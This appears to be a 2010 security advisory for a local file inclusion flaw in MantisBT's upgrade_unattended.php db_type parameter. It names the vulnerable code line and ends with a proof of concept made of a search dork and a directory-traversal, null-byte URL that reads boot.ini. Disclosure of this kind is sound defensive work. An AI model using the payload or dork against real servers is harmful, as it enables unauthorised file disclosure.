MantisBT <=1.2.3 (db_type) Local File Inclusion Vulnerability

Vendor: MantisBT Group
Product web page: http://www.mantisbt.org
Version affected: <1.2.4
 
Summary: MantisBT is a free popular web-based bugtracking system. It is written in the PHP
scripting language and works with MySQL, MS SQL, and PostgreSQL databases and a webserver.
MantisBT has been installed on Windows, Linux, Mac OS, OS/2, and others. Almost any web
browser should be able to function as a client. It is released under the terms of the GNU
General Public License (GPL).
 
Desc: Mantis Bug Tracker suffers from a local file inlcusion/disclosure (LFI/FD) vulnerability
when input passed thru the "db_type" parameter (GET & POST) to upgrade_unattended.php script is
not properly verified before being used to include files. This can be exploited to include files
from local resources with directory traversal attacks and URL encoded NULL bytes.
 
 
 
====================================================================================
--> library/adodb/adodb.inc.php
 
...
 
4109:
4110: $file = ADODB_DIR."/drivers/adodb-".$db.".inc.php";
4111: @include_once($file);
 
...
 
====================================================================================
 
 
 
Tested on: Microsoft Windows XP Professional SP3 (English)
           Debian GNU/Linux (squeeze)
           Apache 2.2.14 (Win32)
           MySQL 5.1.41
           PHP 5.3.1
 
Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
                             liquidworm gmail com
                             Zero Science Lab - http://www.zeroscience.mk
 
 
Advisory ID: ZSL-2010-4984
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4984.php
Vendor Advisory URL: http://www.mantisbt.org/bugs/view.php?id=12607
 
13.12.2010
 
 
PoC:
----------
 
 Dork: Copyright+MantisBT Group
 
 LFI/FD: http://[MANTIS_ROOT_HOST]/admin/upgrade_unattended.php?db_type=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
 
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